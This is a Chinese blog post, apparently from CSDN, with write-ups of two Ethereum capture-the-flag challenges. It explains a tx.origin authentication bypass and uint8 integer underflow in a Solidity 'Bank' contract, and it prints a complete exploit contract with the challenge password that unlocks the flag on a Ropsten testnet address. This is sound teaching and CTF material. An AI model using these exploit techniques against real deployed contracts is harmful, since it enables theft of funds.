合约安全实战两则_合约最安全的操作方法-程序员宅基地

技术标签: 区块链  安全  智能合约  信息安全  以太合约安全系列  

1. [智能合约? 那是啥]

//0x202E653dA93c2a06076FC95B0A07E39B6003C5f6 Ropsten

pragma solidity ^0.4.23;

/**
 * The CoinFlip contract does nothing...
 */
contract CoinFlip {
	uint256 lashHash;
	uint256 Factor = 20244007718664171871063861089;
    	mapping (address => uint) balances;
   	string flag;

	constructor (string _flag) public {
		flag = _flag;
	}
	
	function getBalance () public returns(uint) {
		return balances[tx.origin];
	}
	
	function flip(bool _guess) public returns (bool) {
		uint256 blockValue = uint256(block.blockhash(block.number - 1));
		lashHash = blockValue;
		uint256 ans = blockValue / Factor;
		bool side = ans == 1 ? true : false;

		if (side == _guess) {
			balances[tx.origin]++;
			return true;
		} else {
			balances[tx.origin] = 0;
			return false;
		}
	}

	function GetTheFlag() public view returns (string){
		return flag;  // You can get your flag here
	}
}

这个好像是某题改过来的。改成了签到题。 原题不能直接getflag。 现在这样直接调用GetTheFlag或者去浏览器上查看合约创建时对内存的写入就能知道flag是啥。

控制台调用

微信截图_20200805230056.png

浏览器查看

火柴截图20200806075237956.jpg

要是所有题都这么纯真该多好~


2. [现在来做运算吧]

pragma solidity ^0.4.23;

/**
 * The Bank contract does something...
 */
contract Bank {
	bytes32 private pass = "*******";
	mapping (address => bool) unlock;
	mapping (address => uint8) balances;
	event FLAG(string b64email, string slogan);
	
	function GetBalance(address _address) view returns(uint) {
		require(msg.sender == _address);
		return balances[_address];
	}

	function GetLockedState(address _address) view returns(bool) {
		require(msg.sender == _address);
		return unlock[msg.sender];
	}

	modifier NeedPass(bytes32 _pass) { 
		require (pass == _pass); 
		_;  
	}

	function Deposit(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
		require(_value > 5);
		balances[_to] += _value;
		if (balances[_to] == 5) {
			unlock[msg.sender] = true;
		}
	}
	
	function DrawBack(uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
		require(balances[msg.sender] >= _value);
		balances[msg.sender] -= _value;
	}

	function Transfer(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
		require(balances[msg.sender] - _value >= 0);
		balances[msg.sender] -= _value;
		balances[_to] += _value;
	}

	function GetTheFlag(string b64email) public{
		require(tx.origin != msg.sender);
		require(unlock[msg.sender] == true);
		emit FLAG(b64email, " You got the flag!!");
	}
}

当时这题看了蛮久,因为对合约安全整体还不够熟悉,不能将多个漏洞融合贯通。这里简单记录一下用到的两个bypass点。

  1. tx.origin的鉴权漏洞 tx.origin是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址。他和msg.send的不同就是tx.origin会遍历整个调用栈。下图可简单说明这种漏洞危害性。

火柴截图20200806080144579.jpg

类似于一个简单的中间人攻击。当用户call我们攻击者的攻击函数,而攻击者使用这个函数去调用正常合约时tx.origin == owner是成立的。也就绕过了鉴权。

  2.溢出和下溢 在solidity中,uint8代表255位的无符号整型,这里可以查看俺之前的日记:solidity类型。因为uint是无符号的整型,不能为负数。当+上超过这个数值的数时,就会出现溢出。例如254 + 2 = 1。而下溢则是0 - 1 = 255。

有了这些基础再来看题目就比较容易理解了。

require(tx.origin != msg.sender);
require(unlock[msg.sender] == true);
  1. 通过合约调用函数的方式,使得tx.origin还是我们的地址,而msg.sender是合约地址,不相等,pass。
  2. 唯一的unlock操作在Deposit函数中,需要存入大于5的数但最终值是5。这里有两种方法。如果没有对存入value限制,应该可以直接存入271,这是大于5而因为mapping中用uint8存储的value所以会溢出成为5。但是这里传入value也是uint8,所以溢出没戏,只能通过transfer函数使得value下溢。exp如下。
//author:肖越
pragma solidity >=0.4.23 <0.6.0;
import "./vul.sol";

contract exp{
    Bank bank = Bank(0x63266aaf6bdF3076a02D49eB73aE847cfd0A945c);
    function getflag() public payable {
        exp1();
        exp2();
        flag();
    }

    function exp1()public payable{
        bank.Transfer.value(msg.value)(0x11767c122Dd7B9F0F3e97a195f0CBA0a64c0C9c6,10,0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67); 
    }
    function exp2() {
        bank.Deposit.value(msg.value)(this,15,0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67);
    }
    function flag() {
        bank.GetTheFlag("lu ben wei nb!");
    }
}

火柴截图20200806083146217.jpg

(getflag函数不用传参,上图测试用的) 去看看transactionHash的详细内容

火柴截图20200806083352894.jpg

因为我测试过了,接收不到flag邮件,那么达到event就算成功了。 就致敬一波卢姥爷吧!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/xiaoyue2019/article/details/107832611

智能推荐

linux下编译GDAL外加扩展格式支持(五)--完-程序员宅基地

文章浏览阅读229次。接1、2、3、4篇。10、安装mysql支持安装fedora15或者16系统时若选择安装mysql数据库,则必须自行安装mysql开发包。因为自带默认数据库不会安装这个包。否则会遇到mysql错误:ogr_mysql.h:34:23: fatal error: my_global.h: No such file or directory#问题原因:找不到mysql头文件..._linux gdal netcdf5

Linux tc qdisc 模拟网络丢包延时-程序员宅基地

文章浏览阅读1.2k次。Linux tc qdisc 模拟网络丢包延时_tc qdisc

linux64bit 安装 jdk 1.7-程序员宅基地

文章浏览阅读336次。linux64bit 安装 jdk 1.7下载地址 : https://edelivery.oracle.com/otn-pub/java/jdk/7u21-b11/jdk-7u21-linux-x64.rpm0. 卸载rpm版的jdk: #rpm -qa|grep jdk 显示:jdk-1.6.0_10-fcs 卸载:#rpm -e --nodep..._liunx64位得jdk1.7

【Linux笔记】-----Nginx/LVS/HAProxy负载均衡的优缺点_中间件应用场景nginx lvs proxy-程序员宅基地

文章浏览阅读552次。开始听到负载均衡的时候,我第一反应想到的是链路负载均衡,在此之前主要是在学习网络方面知识,像在NA、NP阶段实验做链路负载均衡时常会遇到,后来还接触到SLB负载分担技术,这都是在链路基础上实现的。 其实负载均衡可以分为硬件实现负载均衡和软件实现负载均衡。 硬件实现负载均衡:常见F5和Array负载均衡器,配套专业维护服务,但是成本昂贵。 软件实现负载均衡:常见开源免费的负载均衡软件有Ngin..._中间件应用场景nginx lvs proxy

多维时序 | MATLAB实现CNN-LSTM多变量时序预测_cnn可以进行多步预测-程序员宅基地

文章浏览阅读4.7k次。多维时序 | MATLAB实现CNN-LSTM多变量时序预测目录多维时序 | MATLAB实现CNN-LSTM多变量多步预测基本介绍模型特点程序设计学习总结参考资料基本介绍本次运行测试环境MATLAB2020b,MATLAB实现CNN-LSTM多变量多步预测。模型特点深度学习使用分布式的分层特征表示方法自动提取数据中的从最低层到最高层固有的抽象特征和隐藏不变结构. 为了充分利用单个模型的优点并提高预测性能, 现已提出了许多组合模型。CNN 是多层前馈神经网络, 已被证明在提取隐藏_cnn可以进行多步预测

随便推点

【9.3】用户和组的管理、密码_polkitd:input 用户和组-程序员宅基地

文章浏览阅读219次。3.1 用户配置文件和密码配置文件3.2 用户组管理3.3 用户管理3.4 usermod命令3.5 用户密码管理3.6 mkpasswd命令_polkitd:input 用户和组

pca算法python代码_三种方法实现PCA算法(Python)-程序员宅基地

文章浏览阅读670次。主成分分析,即Principal Component Analysis(PCA),是多元统计中的重要内容,也广泛应用于机器学习和其它领域。它的主要作用是对高维数据进行降维。PCA把原先的n个特征用数目更少的k个特征取代,新特征是旧特征的线性组合,这些线性组合最大化样本方差,尽量使新的k个特征互不相关。关于PCA的更多介绍,请参考:https://en.wikipedia.org/wiki/Prin..._inprementation python code of pca

内存地址Linux下内存分配与映射之一-程序员宅基地

文章浏览阅读35次。发一下牢骚和主题无关:地址类型:32位的cpu,共4G间空,其中0-3G属于用户间空地址,3G-4G是内核间空地址。用户虚拟地址:用户间空程序的地址物理地址:cpu与内存之间的用使地址总线地址:外围总线和内存之间的用使地址内核逻辑地址:内存的分部或全体射映,大多数情况下,它与物理地址仅差一个偏移量。如Kmalloc分..._linux 内存条与内存地址

自动化测试介绍_自动化测试中baw库指的什么-程序员宅基地

文章浏览阅读1.3k次,点赞2次,收藏16次。什么是自动化测试?   做测试好几年了,真正学习和实践自动化测试一年,自我感觉这一个年中收获许多。一直想动笔写一篇文章分享自动化测试实践中的一些经验。终于决定花点时间来做这件事儿。  首先理清自动化测试的概念,广义上来讲,自动化包括一切通过工具(程序)的方式来代替或辅助手工测试的行为都可以看做自动化,包括性能测试工具(loadrunner、jmeter),或自己所写的一段程序,用于_自动化测试中baw库指的什么

a0图框标题栏尺寸_a0图纸尺寸(a0图纸标题栏尺寸标准国标)-程序员宅基地

文章浏览阅读1.6w次。A0纸指的是一平方米大小的白银比例长方形纸(长为1189mm宽为841mm)。A0=1189mm*841mm A1=841mm*594mm 相当于1/2张A0纸 A2=594mm*420mm 相当于1/4.A1图纸大小尺寸:841mm*594mm 即长为841mm,宽为594mm 过去是以多少"开"(例如8开或16开等)来表示纸张的大小,我国采用国际标准,规定以 A0、A1、A2、.GB/T 14..._a0图纸尺寸

TreeTable的简单实现_treetable canvas-程序员宅基地

文章浏览阅读966次。最终效果图:UI说明:针对table本身进行增强的tree table组件。 tree的数据来源是单元格内a元素的自定义属性:level和type。具体代码如下:Java代码 DepartmentEmployeeIDposi_treetable canvas